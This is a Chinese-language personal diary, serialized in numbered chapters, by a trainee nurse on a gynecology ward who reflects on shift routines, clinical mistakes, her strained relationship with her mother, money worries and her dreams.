    今天突然感觉有点子黑色的能量在自己身上一样，不知道为什么，然后脑子里的想法也是奇奇怪怪的。带女儿的时候，我亲了一下她，突然脑子里会冒出我在欺负女儿的感觉，虐待儿童等奇奇怪怪的想法。我感觉很奇怪。
    总之很奇怪。怀疑我的脑子里储存到了什么奇奇怪怪的负能量，导致碰到这种事情的时候就变得奇奇怪怪的。
    所以我需要每天坚持锻炼然后排毒。个人认为的。
    前几天学的的东西。要运动，运动就像拧抹布一样排毒，而劳动它是直线运动，所以没有办法排毒。这个解释挺有意思的。
    今天看了一些小裙子，想买买买，但是还是算了吧！像那些抠神，他们都好几年没有买过衣服了。主要还是花销很大，没办法做到。
    今天单位有了好消息，单位里没有买房子的员工可以申请保障性住房了。期待了很久的房子。啊！真好。其他单位应该也有，这应该是国家政策。不过比较小不超过七十平方米。那也比租房子好一点。至少有了安家之处。真好。感谢单位。希望一切顺利吧！
    我的脑子里冒出的声音是其实前几年就可能有这个政策出来了，可是我们这里今年才开始。还好吧！至少有就好。而且那个时候也只是一些博主希望国家会这样子做。而不是看到文件出来了。
    不知道为什么我脑子里又在埋怨我妈妈了，我又在劝导我自己。为什么我突然之间会埋怨妈妈。我不理解。可能想到了什么事情吧！我不知道为什么想到了我妈妈之前问我在哪个科，然后告诉她我在新生儿科，在哪楼，然后她就说她要来那里，然后就突然之间感觉到她在笑，很奇怪的笑。不是很好的内容。但是这是五六年前的事了，想起来也没有什么意义。不知道为什么我要想起来，还有一个就是我读初中时的场景，她突然过学校来看我，她蓬头污面没有一点点形象，然后在所有同学面前凶巴巴的对我的样子，但是我也知道她是没办法的事。这是我的人生剧本，我的人生剧本就是她就是这样子一个可悲，让别人看起来我好像很可怜或者很奇怪的角色。这是她拿到的角色我的人生剧本。我想我也很希望我的妈妈是很优雅的，很美好的，她干干净净的。文静的，拥有这个世界一切美好特质的人。她可以对我温柔，耐心，她可以在家里开心的。但是这个世界没有，或者很少有这样子的妈妈。那我又能怎么办呢？我在这样子的环境里只能改变我自己去适应环境，我不能强迫自己强迫别人。
    而且我并不是很快乐，我每次不快乐的时候都会对我妈妈发脾气，发很大的脾气。这是我的特点，我很讨厌的特点。每次心里不快乐有委屈，然后很多时候没有把自己的情绪宣泄出来的时候，我都是对我妈妈发脾气。所以有的时候是在讲妈妈，不好，更多的时候我的情绪是在讲我不好，可是我不愿意接受这个事情。我妈妈心情很不好的时候她也是骂我的，所以都是半斤八两。不知道为什么会想起她，可能我要回去看一下她？没钱不想回去。
    女儿长大了是没有家的。
    我只是嫁了一个人等我死了体面一点，或者不体面一点而已。我没有希望就不会失望。我看到这句话的时候热泪盈眶，但是失望多了就这样子吧！

 第165章

    好累啊！
    昨天下乡，然后我就过了一天。下乡的工作。很快就一直在写写写，然后就到了十二点吃中午饭的时间，然后我们就去吃中午饭，然后吃完了以后休息到了两点，然后就开始工作，然后就写写写，到了下午五点多，然后我们就收工回家，因为人没有了。这就是两癌筛查。而且我还写不赢。。。。我是跟着护士长写的。风扇吹着根本不冷，好热。可能有一百五左右的人。那天。
    然后昨天下完班回家到医院好像六点多了，我就想休息一会儿，因为我晕车，然后看时间比较晚我就没有选择休息，然后就骑车回家，然后我没有注意到路上有一个人打了右转zhang灯，我和他的四轮车撞在了一起，还好我的车没有事，我也没有事，他的车也没有事，我本来以为那个他车上的划痕是我撞坏的，我要赔钱，然后那个车主说不是我弄坏的，然后他走了我也走了。我感觉还是因为我晕车晕的状态还没有好，一般我都会很认真的仔细防范这种事的。
    然后今天我起床有点子晚，七点才起，本来我是希望我能够六点半起的然后我闹钟醒了又睡回去了。五点半的闹钟醒了又睡回去了。总之很复杂。然后七点才醒，然后练了一会儿八步金刚功。然后就去上班了。今天忘记采核酸了。
    今天的班还好吧！入院七个。然后手术一个，我感觉手术室的护士都快被我气死了，接一个手术回来的，接了二十分钟，然后平时人家十分钟就能搞好。我就弄了管子，然后还没有理顺。带我的副护士长在批评我，感觉她说的对。然后今天有一个留置针没有进好，不过比上次好。至少这个针还可以。明明判断另一根血管更好，但是我却打了那一根。然后进不了。所以不知道那个时候怎么回事？希望这样子的事少一点。那个时候病人是在说她害怕打针，每次进医院都感觉特别害怕，也讨厌打针，然后我说是啊是啊，我也很害怕打针。。。然后打完那个针给我的感觉不知道怎么讲，可能我下次碰到这样子的病人需要想一下怎么安抚？而不是和对方一样。然后进针还是要多想一下。
    还是需要在工作时思考，思考怎么样把什么时间的事一起做掉它去
    今天早上练得，八步金刚还可以。今天上班精神更好了。不过昨晚看了好多小黄文，然后我感觉我的精气神都被消耗掉了。所以说还是要加油练，但是需要少看一点，但是我真的还喜欢看。不知道为什么。可能我纯粹就是想把自己的能量消耗掉，因为我看自己不爽。但是也许我就是错误的习惯然后导致的因为我很晚都不睡觉，虽然知道这样子不好但是我就是没有改。
    然后下一个事，今天走了很多次，主要还是没有同一件事一顺做好，然后准备不充分，要么快打针了发现没有带胶布，要么发现没有棉签，这种状况今天出现过一次，我需要改。
    然后我不知道自己一天的内容是什么需要人家提醒我做什么我才会做什么？就像我不会思考一样。
    这些事情给我的感受让我看到了我的灵魂周围围着一群灰色的能量，一回家我就好累，只想躺着不想动。

 第166章

    凌晨三四点睡不着。
    脑子里好像一直在想什么事？回想白天做手术下来的病人怎么接。老师讲的有道理，但是学到自己脑子里才好。接一个做完手术的病人下来，她躺床上以后。先把她的各项管道固定，然后上心电监护，然后输氧，翻身检查病人的皮肤有没有压红，然后和家属交代如何翻身，交代家属如何禁食禁饮六小时。具体吃什么东西六小时以后再看。如果家属再次询问的话，告诉他六小时以后如果患者放了屁就可以吃一点米汤之类或者纯的萝卜汤。不能吃排骨汤之类比较油的。为什么不能吃比较油的？吃油腻的东西会造成什么后果？肠蠕动比较慢消化不好。这个还要多看一下，做好解释。现在回忆起来不熟悉。不能吃牛奶豆浆产气食物，然后去枕平卧六小时，因为做手术全身麻醉没有清醒，去枕平卧更不会头痛，然后可以观察一下患者会不会呕吐，请家属看稳来，如果有呕吐叫他们怎么清理，然后给患者上气压。我以前剖宫产手术下来的时候上过气压挺舒服的。但是我知道很多东西都很好，可是一个医疗人员，你在这个世界的一生也就那么长，你不可能把所有的病都得全了，然后进行最好的体验，然后告诉患者怎么样才最好。所以还是要多学习。好多东西都不懂。然后给病人做治疗。这只是一个手术病人，如果十个八个手术病人下来，还有其他病人需要做治疗，如何安排轻重缓急，脑子里要思考。
    我还以为我可以独立上班了，然后还是不行。
    老公无意之间看了我写的东西，他说我每天都在写自己糟糕的一生。好像自己全身的能量都在围着如何糟糕而展开。
    好像也确实如此，不过我不知道为什么会这样子？
    像接手术都接了好多台了。还这样子时间久不说做事还需要人家提醒。带教老师说我做事还可以，但是没有脑子里有一个患者下来我需要做什么的概念，而是听话，可是独立上班是一切自己搞定。大家都忙，每个班次有自己的任务。主班有主班的任务，治疗班有治疗班该做的事，没有人有那么多功夫去看到什么情况替你思考该怎么做？而是自己去思考这件事要该怎么做？没那么忙的时候，大家都会帮忙，如果比较忙的时候，大家都自顾不暇，就没有时间去管别人班上的事。而且工作态度要好，因为病人很痛苦，住院本来心情就差，如果自己是病人遇到很难受的事要做手术那就大家的心情都比较难受，然后碰到我自己这样子的护士，会怎么想？昨天有点子生硬。护士查房。还不会和人家说话。如何和病人打招呼，询问多方的情况都不会。上次我都问了老师这个怎么讲，上上次查房都用上去了，这次查房就没有用上去，不知道为什么？我感觉心情很失落，上次都会怎么说话，这次又不会，一切等着老师。好像我的思维很有依赖感，一切都依赖比自己强大的人，而他们是比较希望我能独立思考的，无论在什么地方都是这样子。不懂可以学，学了要自己会，要承担自己工作的任务职责，一切都要自己对自己负责，对别人负责。可是现在这种情况看来。我好像大脑不会思考一样。
    其实脑子里又比较明白。看得到自己的症状，应该怎么解决呢？什么原因产生的？
    这个可能是我的人生阴影吧！我突然之间想起了不算很小的时候的一个事，我不记得多少岁了，我在田里面拔草，然后一个邻居她就说我应该怎么拔怎么拔，然后我没有听懂，后面她就和奶奶讲我怎么这样子做事，我都教了她怎么做，她都不听得。奶奶就笑了笑，她也没有怎么讲我。然后后来还有一件事，那个时候不算小了，感觉也有十五六岁，有一捆柴，很重，然后一个邻居姐姐说要不要我帮你抗。她那个人的话，我当时想如果我叫她帮忙然后她就会嘲讽我，以前小时候她就是这样子，我真的傻傻的叫她帮了忙，然后她就在一个劲的嘲笑我，能说上三天三夜。然后我就准备自己扛起来，毕竟也是自己从山上弄下来的，就还有一点点路就能回家了，那个时候就不知道自己怎么了，然后那捆柴我就扛不起来了，后来那个邻居姐姐就正好看到了奶奶，就和她说我好笨，刚刚都说了她会帮我弄这个柴，结果我又说不要她帮忙，她就没有帮我，结果我又搞不起来。真笨。
    不知道为什么会想起这个事来。那个时候我对她也没有感觉到什么情绪。就觉得她笑眯眯的。好奇怪。
    奶奶知道了这个事也没有怎么讲我。只是淡淡的笑一笑，然后就走了。她就耐心听她们怎么讲。因为她们这样子讲的目地不在于我，而是对奶奶倾诉他们有多么辛苦，最近心情不好。然后就顺便指点一下我。但是不知道为什么他们教的我不会。他们怎么教我就是不懂。可能碰到了他们的潜意识吧！他们的潜意识其实并不是很希望我能懂，而是不希望我懂。但是他又在教我，可是为什么我会听从别人的潜意识里的东西，而没有听别人表意识里教的东西呢？每个人都有心情不好的时候，能够耐心把自己想要教的东西教给你已经很不错了，毕竟师傅领进门，修行在个人。
    有时间又闲的时候，很多人都可以态度很好的对待别人，没时间又忙又累的时候，我自己也不可能做到十全十美。
    老师说不要觉得她说话很重，因为我和她一起考进来的，我又在icv待过，所以她比较希望我会变得优秀起来，所以对我的要求会比其他的护士更高。我的表意识，没有感觉到她对我很凶或者说话很重，但是我有的时候听不懂，她教的东西，可能我接收失量。需要花费更多的时间才能懂？
    或者她的潜意识并不是很希望我学会，或者其他人不是很希望我能学会或者我自己不希望自己学会，所以我的脑子听到了人家的潜意识就又开始作妖了。
    当好一个护士很难。在卫校考出来的，有好多都转行了。或者人家嫁了一个好老公，就不用干这个行业。考到了，对于我这个阶层的人来说很好，但是对于别的阶层的人来说其实也就这样子，这个行业很累的。事情比较繁琐。然后也能够遇到很多的负能量，自己也经常负能量满满。像一个人形高负荷机器人一样运转，能够做好其实很不容易。
    昨天看到了一个医生的视频，她实习医生在产科实习，然后带教老师叫她一天二十四小时看着病人，然后她又有其他医生打电话问她情况，然后病人去了卫生间，然后出事了。那个带教老师应该叫家属看稳病人啊！为什么要叫实习医生，可能病人没有家属。或者她家属有事，没办法陪她。突然之间我就能懂为什么碰到大出血的病人护士长和主任然后还有医生都一个劲的说要病人给家属打电话，一定要叫家属来。无论如何。因为一个这样子的病人就需要好多人，好久。然后护士医生一天二十四小时陪着，可是还有其他的病人要做治疗，如果还有病人需要抢救呢？什么事都有可能发生。所以这种情况需要家人陪着。

 第167章

    昨晚的晚班。
    老师今天说昨晚的晚班比上一次上的更好。
    昨天晚上学会了老师的方法，然后也用上去了，所以效率更高。一来呢。和白班交接。了解有没有晚上的特殊治疗需要打针，或者之类的，有没有哪一个需要测血压，之类的，然后就是去病房查房。询问病人的情况，了解病人的病情。有没有白天做了手术的，术后怎么样？有没有拔尿管拔完了尿管多久拉尿，有没有排气。稽留流产的有没有吃药，吃了药的话有没有痛，如果疼痛那疼痛的情况怎么样？如果有排出东西来交代拿一个脸盆装起来给医生看。如果已经清完宫已经排出东西给医生看了，那么需要了解患者的出血量。心里大概有底，然后也跟病人在交代已经是在上晚班了我是晚班上班的护士，有什么事按铃。翻病历的时候，一看体温，如果下午两点没有画体温，病人当时不在病房。那么下午六点我们需要测体温，要在小本子上写下来，什么床，或者下午两点来的新入院，那么晚上六点测体温。都要记下来。然后要把明天早上需要测体温的记在另一个本子上。所以要拿好几本本子，刚刚查了房，在小本子上记录外出的病人，然后需要拿外出登记本，把他们记上去，然后就是翻病历一本本登记，顺便翻每一本病历的时候检查医嘱上有没有需要晚班签字的东西，有没有需要晚班做的治疗。白班刚刚交接班是否有遗漏。每翻一本病历都要注意到这些问题。然后到了时间就去做治疗。什么时间点测血压，测生命体征。然后就是记录，询问病人的情况，有异常及时报告给医生。
    昨天晚上有一床呕吐，没有排气。然后我交代给老师交代给医生。医生开了药，给病人吃了厚朴排气合剂之后，病人就没有呕吐的症状，但是还是没有自行排气。早上六点给病人测体温的时候，询问了病人这个情况，但是忘记给医生交代这个情况。医生八点查房的时候询问了家属。所以这个事要注意到，下次不能再犯。
    而且昨天给医生交代病人没有排气。医生询问我病人有没有腹胀，然后我回答不出来。我一听到她还没有排气就赶紧跑的去医生办公室告诉医生，没有多问几句。这个要注意下次需要多想一下。有呕吐没有排气，是否有腹胀的症状。
    给另一床做灌肠的时候。我测水温是正常不会烫的，因为我是穿了橡胶手套还有感觉的，所以我感觉不会烫，老师的实习生也一起感觉了一下温度是不会烫的，然后到了病人那里，病人说很烫。然后搞得这次灌肠的效果没有那么好，这个病人比较敏感，然后液体刚进了一百的样子，就不舒服。晚上只灌了三百毫升，她就在哭，然后另外一床病人腹痛，然后我就去找老师了，和她讲这个事，两个病人腹痛。然后另外一床是宫外孕。然后就马上给另外一床接点滴，打上留置针。然后送的去做彩超。老师打了电话给物业，但是医生说这样子的情况还是要护士陪着去，不能物业去。然后就老师和她的实习生去了，我在守着护士站。老师陪着这个病人做完了检查之后，马上打了电话给医生，交代病人情况，然后回来老师是教我们如果晚班只有一个护士上班碰到需要护士去送病人做检查，如果还有治疗和点滴之类的正在打，（这一段话我没有怎么听懂），那么护士不能走，要和医生好好沟通，请医生送病人做检查，如果护士站的事情已经干完了，然后没有什么特殊情况，然后就请医生守着护士站，护士送病人做检查。做好检查马上打电话告诉医生病人的情况，如果是宫外孕晚上突然大出血，然后医生在你送病人回来的路上，就可以准备好去手术室的事。为什么在做检查之前要打上点滴去就是万一碰到了病人突然大出血就可以争取时间。索性还好，病人的位置显示比昨天更大了一点，那么就要交代病人空腹。晚上的话密切观察患者腹痛情况，测血压。万一晚上大出血就送的去手术室，如果晚上腹痛情况还好，那么大概率会考虑第二天白天病人做手术。然后需要做好交接。这个是特殊情况的。
    晚班如果做手术的话，那么就简单写好术前交接单，时间生命体征，然后手腕带，其他的就等病人做完手术再写。我跟晚班还没有碰到过晚班需要做手术的，这个是我思考出来的，实际情况不知道会是怎么样？
    晚上凌晨四点的样子来了一个门诊清宫的病人。来的时候好多血，吃了药然后就告诉医生去了，医生交代带的去检查室，然后我把病人带过去测了血压又把一个单子搞上去了。然后医生搞下来了。因为我就看过一次清宫术。我以为这个和阴道冲洗一样的。然后病人的体位没有摆好，应该让病人准备截石位的。我脑子里有这个概念，但是没有去做。没有交代病人。因为那个单子被搞上去了，总感觉怪怪的，可是没有想出来哪里怪怪的。然后等医生做了才明白。然后就是给病人上点滴。因为病人做清宫术，什么情况都有。还是要留置针。医生讲了我没有复述一遍。老师帮我问了，但是自己上班要复述一遍。然后排气要去检查室，如果只有一个人上班，那里就需要护士观察病人情况。排气应该在检查室。然后昨天晚上是第一次看到宫颈注射缩宫素的。垂直进针，在一点的位置。十二点，三点六点九点的位置有血管，不能打。后面做好了清宫就是隔一会儿观察患者情况，然后看她面色还好，就在点滴快打完了之前，测了个血压给医生。询问能不能拔针。如果能的话就拔针，交代病人在检查室多休息一会儿，早上七点以后再离开医院，离开医院的要和医生护士讲一下。
    我是给她拔完针，再去做灌肠的。因为发现检查室没有呼叫器。她老公又去楼下缴费去了，楼上的壁挂自助缴费机，不知道怎么坏了。然后就是给病人做灌肠，这次病人比晚上更配合。大概是四到六百毫升左右。询问拉出来的东西没有屎渣子像水一样之后就可以了。
    然后就是打术前针。术前针是打好了，但是下班回到家了才想起来，没有签病历。下次要记住这个事。。术前针必需要我给病人打好针再马上签。然后给病人打留置针发现自己每次都会忘记把压脉带带回来。然后需要重新再走一遍去病房的路，这样子浪费很多时间，然后如果给病人打好了针，没有及时把压脉带松开，病人会不舒服。我及时松开来了，每次都会松开，因为要检查点滴，不松开会没有滴，但是一下子就忘记了放进治疗盘里，垃圾我都会及时收起来但是压脉带忘记好几次了，这是习惯的问题。我希望我下次要记住这个事，以后不要犯这个事了。
    然后第三点，这几天的留置针都还可以，但是老师发现我的留置针不习惯双手打，习惯于单手打留置针。然后退针芯有点子不稳，我最近在用双手打留置针，因为上两次单手打留置针进针角度有点子问题，成功率不高，护士长建议双手打留置针，因为双手打的留置针，没有双层更方便，但是我不太习惯。然后搞得退针芯有点子不稳但是打的又还好，回血什么的都好。然后打了单手打留置针。还行。不过也就是我碰到的病人今天的血管都很好，很不错的那种。所以说还是要多学习一下，因为我发现护士长和副护士长她们打留置针都很稳，又快又稳的那种。我需要向她们看齐。把自己的技术做的更好来。
    晚上不记得哪一个点，来了一个中暑的病人，中暑的病人女性大概四十岁左右，酒店工作人员。可能是因为行业低迷。大家都在省水省电没开空调，热的。家属是说病人中暑。然后送的来我们医院，但是给她测血压很高，两百多的一百多。体温根本测不到，三十五c多。然后我们在找水银的血压计没有找到，临时去其他楼借，其他楼也没有，后来在产房借到了水银血压计然后医生建议病人家属带的去人民医院。我们就把病人一起送下去了，送的时候病人还有呕吐。然后留了他们的电话号码等他们去了人民医院再回访。因为他们来了我们医院，我们医院专科，这个病需要去综合医院看。然后等病人到了人民医院以后。去做检查了，医生告诉我们说那个病人去做ct了，怀疑高血压危象。老师说尽管我们是专科医院，综合医院的病人不是我们能看的病，如果是导诊台在医院门口还没有进医院大门，那么会建议病人去人民医院或者中医院这种最近综合医院看医生。因为专科医院没有综合医院的设备还有药之类的，来我们医院也耽误人家时间。所以会建议他们马上去其他医院，但是如果病人已经上了楼，那么我们就不能看都不看就叫病人去其他医院，因为这样子出于人文关怀或者是对医院的影响来说都是要把情况告诉医生，然后我们安排病人到检查室，给病人测血压，体温之类的，然后再由医生分辨这种情况如何处理。一般也会建议去综合医院。一般我们医院也不会给病人开检查，省的浪费时间。但是病人进了住院的楼或者他已经找到了医生门口了，就一定要三测。把情况告知医生。医生会和家属做好沟通。
    这样子的事让我想到了最近看的视频，说中医很好，可以用很简单很方便给解决病人的病。而且没有痛苦，但是在现代来说，发展这种方面的只能靠国家了。我们这一代人也没有那么多精力去再学一门新技术了，而且中医好难。很多操作都是有痛苦的，有好东西自然希望国家他们出手。谁没有个生老病死呢？医生护士也不能免于这种事。
    靠新一代了。我还要好好的看书学习，明两天科室考试。

 第168章

    写完以后练了八步金刚就睡去了。然后梦里面又在想自己那一些没有做好的。
    无菌包。晚上发现无菌包的顺序，医生更容易拿到日期近的，可能我放的位置医生更不习惯拿。一个无菌包消毒七天的有效期。先用日期更近的，再用日期更久的。如果先用了日期更久的，前面的就过期了，然后过期的包会选出来重新消毒。就有了成本。我需要注意一下。平时没用到的无菌包到期了会重新消毒。但是有事做，还让前面的包过期我们就容易挨骂。下次要记得。
    很想导出班来，不然工资好少。但是确实有很多都不太懂。还是跟班吧！房租费，宝宝的奶粉钱，然后每个月上班的汽油费，然后还有自己的移动套餐。换了个5G手机花费更多了。原来是130多的套餐，现在看到上个月180多。而且还签了两年。但是这又是必须品。因为我喜欢的手机坏了，然后我自己的备用机性能又一般般。承载不了太多。这几个月没有给家婆交钱，也不知道时间久了会不会脸色不好。老公给了。老公的就是我的如果家婆讲我没有给钱那么她就是不把我老公当我老公。但是我也确实没有钱。现在好多的开支还有同事之间我需要站稳脚跟，一开始就是需要花费很多精力时间还有金钱。等到慢慢的一步一步走的更稳了，就会更好。.在年轻单身的时候，没有做的很好，单身的时候心里会有强烈的不喜欢这个工作，哪怕心里再怎么给自己找理由找意义，就是拧不过这个桀骜不驯的心。总想花心思在别的地方。也非常的累，工作也没有干好。这个事情我也没有办法，因为我用了我为数不多的智商，只能把自己引导到了现在的模样。然后后来就结婚了。结婚以后，生了宝宝，就会更热爱工作，因为工作可以让自己变得有能力，有成就感，然后工资可以让自己生活，而家庭没有钱，谁也不会给你让路，就算有钱，也要忍好多东西。但是不管是单身还是结婚对我来说都有围城。单身的时候会感觉很痛苦，找不到人生的意义。然后面对家庭会很痛苦，因为我没有给我妈妈花钱，她也没有反馈给我足够的爱意，而如果我给我妈花钱，她给我足够的爱意，那么我心里又会失落，这个世界上的感情都要花好多钱，没有活力。就只能这样子了呗。结婚以后的生活也像一个围城，因为它不如单身的时候自由，单身的时候想买什么裙子就买什么裙子，但是没有选择去买，但是也会买。结婚以后就是也不舍得花钱。嘴上说要买，但是还是要忍很久，可能忍了很久，心里也知道可能不会去选择买下来。有这笔钱会省下来用于买房之类的。变得更想去开展副业，可是自己的脑子又不太灵活。心里还是不自信的多，然后朋友又没有什么朋友。我的朋友屈指可数，可能在他们眼里我也不算朋友。所以发展副业的机会更少。结婚以前我会很努力的希望自己有两份工作，都拼命干的那种，可以给自己带来稳定的收入，但是现实是一份我都很难做好。结婚以后我就平了，因为努力发展第二份职业，我努力了但是也要接受结果。技巧很多书上都有，而我自己知道有技巧，也不选择去做，那就是心里的问题，心里面实在太难了，那也没有办法。
    如果我一直导不出班来，那我会怎么办？那我只能吃的更节省一点，好好的学习老师传出来的知识，慢慢的长进，如果一直都长不进，那么我就好好认命。然后好好工作，和家里人说明情况，说自己已经尽力了。工作能力不足导致工资低，那么老公承担的就会更多。以后的日子就会更难，更难那也是自己的命。
    换行业其实也是一样的结果。做的了这个其他的就能够干下去，这个做不了，其他的也很难做好。自己所拥有的都不去珍惜，还能怎么办？
    昨天才懂，第一年考进我们医院的时候，领导说你要怎么服众是什么意思？
    我们的副护士长比我小三岁，我们两个都是从乡镇卫生院工作过然后同一批考进来的。平时不熟。然后我在Icu。她在妇产科。我们这一批，然后在icu跟班没有导出班来，具体的流程我懂。但是有一个子弹头的抽血，怎么也做不好。同事也用了心去教，但是我不知道为什么就是学不会。然后手也过敏。然后就去了导诊，待了比较久，然后领导又给了我机会，叫我去供应室上班，然后供应室的班我也没有上好。供应室是神仙科室很多人都很羡慕能在供应室上班的老师。等去上了以后发现其实都一样，都不轻松。导诊有导诊的工作职责也有导诊的工作压力。护理上有护理的工作压力。实习的时候会感觉每个科都累，因为在人民医院实习的，每个科都累到怀疑人生。想去干别的好像也干不了，脑壳子会不舒服，就只有干这个心里就舒坦。不会没日没夜的折磨我的灵魂。等我选择去做的时候，想要做一个优秀的医务工作者的时候，干不好。怎么做都做不好，等我心里很绝望，已经完全失去了当一个医务人员的执念的时候，又可以了。我也搞不懂怎么回事。
    后来发现这个叫淫欲。不正当念头。缺乏自控能力。这个前几天看到的视频。也不知道我是不是想偏了，自己感觉是这样子。我的内心很多执念，那些执念导致我没有办法控制自己的状态，等我放下了，我又能回到自己有自己的那种感觉。等我很兴奋很开心的时候，又产生了执念，然后又变得无法控制。所以我需要保持平和的心境。以前保持平和的心境是因为无意间会瑜伽一样的状态，很容易冥想，然后长大了以后，那种状态就变得很难，就算去学，也没有办法学习，因为我对这个瑜伽产生了由里向外的抵触心理。我变得讨厌这个东西这种锻炼方式，因为平和的心让我缺乏了很多体验感。很多事情的体验。尽管不是很美好，但是我没有去体验，就变得特别的反对。后面我就完全失去了那种超我控制感。可是我还是很难受。总之别人在成长变优秀的阶段。我在整合我自己。其实没有整合完毕。我也不知道以后会不会重新变得很奇怪。
    后来比我小的人当了护士长，人家一开始相处的时候
    我还有什么没有做到的呢？

 第169章

    今天白班。
    我终于长记性了。把压脉带记住了。但是其他的还有一些没有做好。
    今天医院请了心理老师给我们讲课。然后我也勇敢发言了。我一般碰到了一些抱怨的女病人我就打不到针。然后和那位心理医生讲了这个问题。但是心理老师说这是我和妈妈的关系不好导致的。我妈妈经常会抱怨。然后导致我不想听她说话，非常反感，然后就放弃抵抗。一遇到这种病人就变得状态很糟糕。她和我说的话，可能有道理吧！也可能没有，因为我听不懂。她说我是一个很容易高兴的人但是不容易开心。我不懂她说的什么意思？高兴与开心有什么区别？然后在大庭广众之下，讲我和妈妈的关系不好，难道不是一件不好的事？
    反正我确实对我妈妈有很多的抱怨和恨。而我没有办法直接对她讲。讲了也没有作用。我该怎么样把自己对她的恨流通出来呢？
    昨天上完课以后我就感觉自己内心的小孩像出来了一样，在纠结着什么？就像一个白色的很小的孩子。我要不要花钱请那个医生看一下，如果收费好贵，那么我是不是会负担不起，然后我本来想攒钱买车的。
    今天给领导提了一点点意见。然后领导说找其他领导。可是我不认识其他领导。我感觉领导的可能也有好多麻烦。
    然后我做了一个梦。
    梦见的第一个场景，是很多女孩子穿漂亮的衣服，然后梦里有一个我认识的女孩子，她穿的衣服好奇怪，比较暴露，然后梦里的我在想为什么她穿的那么暴露。而且还把唯一的遮羞布给丢了。她是一个同事，然后我看到了她的头发是紫色的，梦里她把那个洗发水给扔垃圾桶了，梦里的我就在垃圾桶里找她的洗发水，认为她的头发那么好看，是因为洗发水的原因。然后就是一群穿着好看衣服的女孩子。我没有过去，我就看着。然后下一个场景是一家医院。在医院里有一个医生在整一份病历，然后病人就对医生说墙上出现了一个洞。有一些柱子掉下来。然后他们就一起在看那个洞。然后真的有木材掉下来，然后病人就把木材拖下来，然后梦里的医生本来很漂亮的就变得很黑暗了，然后他变得笑眯眯的和病人一起把木材拖下来，还上了很多纸皮包成木材的样子送上了医院内部放柱子的地方。然后病人她就说想在病房抽烟。梦里的我说不能在房间抽烟，会爆炸的。然后我就醒了。病历写的名字是白皮什么东西，然后另一个护士来看，就说这个写的什么？给我看，然后发现是书记两个字。但是我不理解到底写的什么？梦里面还有一个很漂亮的女孩子她在对我讲什么？可是我听不懂。她的那种漂亮不是穿的衣服漂亮，而是那种灵魂深处能量很快乐的那种感觉。搞不懂。
    虽然心理课很好，但是就像之前看的一个故事一样，一个人在一个国家传道。然后那个国家的人并不愿意听他传道，因为那个国家的人他们在种稻子。他们的稻子没有收成。自己饭都吃不饱，根本没有精神去听他讲什么东西？然后孙悟空进入了那个世界，就帮那个传道人帮农民稻子的问题给解决了。然后还和农民说如果信传道人的话，稻子的收成就会更好。这是别人写的西游记名字好像叫东游记。好像也不是这个名字，不记得了，很久了，名字大概的意思不知道。就记得简略的内容。我理解的意思就是想要人家精神信仰好起来，首先还是要让人家吃饱饭，或者就是把他们的问题有解决的苗头，但是又一直解决不了，他们就会一直信仰这个道，然后又能吃饱饭。农民稻子的问题就是他们的稻子开花的时候没有风，没办法授粉，所以产量很低。而悟空的方法就是叫他们人工授粉，授粉的时候念传道人的话。
    然后也不完全解决这个问题，因为他还要旅行也没有办法一直给人家刮大风。所以传道人的问题解决了，然后农民吃饱饭的问题也解决了。想传什么道理，重要的是解决他们的最严重的问题。然后也没有办法一直解决。还得靠他们自己。
    不过我不明白。虽然看了很多故事都很多道理，但是我不明白也不太懂怎么用。但是我知道这个故事。

 第170章

    不知道我能不能独立上班。我感觉一个晚班下来。好累啊！
    没有规划好时间所以导致体温单没有画完而且容易画错，可能是我饿了，桌子上老师买了水果，要是我早一点吃东西的话，会不会早上就不会没精力，或者是没有喝水的原因？今天画错了一个体温，然后重抄，还有一个病人的血氧饱和度下来的时候不算很好，但是写很好的记录写习惯了，就写了99然后需要重写，因为她从手术室一开始不是很好，要按真实的写。后面她输氧了情况更好了。就没有写错，但是一开始的写错了，就要重写。
    然后就是交班，没有写好，写的比以前好很多。但是好多问题。一个晚班下来。好多细节没做好。
    还有的就是手术病人下来了，比以前好多了，记得到来病房的时间，但是动作不够麻利，管道这些问题没有做好。感觉我的动作慢掉了。反正就是要不停的在心里批评自己，我可能这就是有病，我感觉这样子我的心情很不好，想要夸奖一下自己嘛！自己做事有多糟心，自己又有数。天都在不停的反思，然后不停的有事情出来。
    昨天我听了那堂课，我很想去看一下我妈妈！我本来想要去上那个心理课的。需要花四百九。需要两天时间，和我老公说，他不希望我去，他认为没有用，认为他们那些导师在花我们的钱过他们的好日子，因为他以前上过这样子的课。问护士长要假。要不到，护士长说她都七天没有休假了。你还要得到假。基本上都在努力的学习工作。
    听了她的课是很好，但是确实没有时间，我得必须导出班来。

 第171章

    我确实和我妈妈不知道怎么聊天，也没有聊天的兴趣，不知道该讲什么？
    ？昨晚的梦，梦到了一个斜坡，然后在斜坡上往下走。然后就梦见了不知道什么东西。乱糟糟的记不住。好像梦见了外星人，他不知道在和我讲什么？听不懂。
    梦里就像一个黑色的大球一样在围着我的灵魂周围她笑眯眯的，但是不知道她为什么笑，也不太懂她存在我周围是为什么。
    反正很困，醒来很累。
    感觉自己的眼睛里很多红色的东西。但是不理解是什么。
    还是说上班的事吧！有一两个晚班，累的人家根本没精神记下来我做过的事。只有疲惫不堪的感觉。今天晚上晚班，明天白天想要去办身份证。老公说他最近好累明天休息，不知道他愿不愿意和我一起去，不愿意就算了。本来计划今天会乡下办身份证的，结果今天起床太晚了。昨天晚上吃完饭，洗碗就睡了，等我睡醒就零点了，然后在这个时间洗澡不就好吵吗？所以就没有洗澡，简单洗漱一下，就想睡觉，脑子好吵，梦见了自己喜欢的博主。心里面想起了一个视频，说那些下班了之后还有精神拍东西的博主其实都不是和自己一样的人而是富二代一样的人。毕竟真实的贫穷女孩子，下班了只想躺着，根本没有精力去拍视频。但是在自己的心里的话，其实她确实比我更富有，毕竟买一台相机都要好多钱，虽然对于别人来说只需要几千块而已，但是对于我一个不舍得花钱的人来说，确实需要很多。所以有钱也是挺好的呀！她喜欢的餐具我都很喜欢。以前看到过文章，有一对恋人故事，他们一对年轻人结婚了以后，在结婚纪念日买了一对玻璃杯，然后一开始他们的感情很好，然后日子久了玻璃杯就碎掉了，女生也被打了，后来他们就离婚了。最近不知道脑子里为什么会冒出这个故事来，这个故事好像是和妈妈在深圳看的杂志。那个故事是说爱情有时候就像玻璃杯一样，碎过一次就出现了裂痕，就不存在了。不知道为什么前几天脑子里一直在念这个。

 第172章

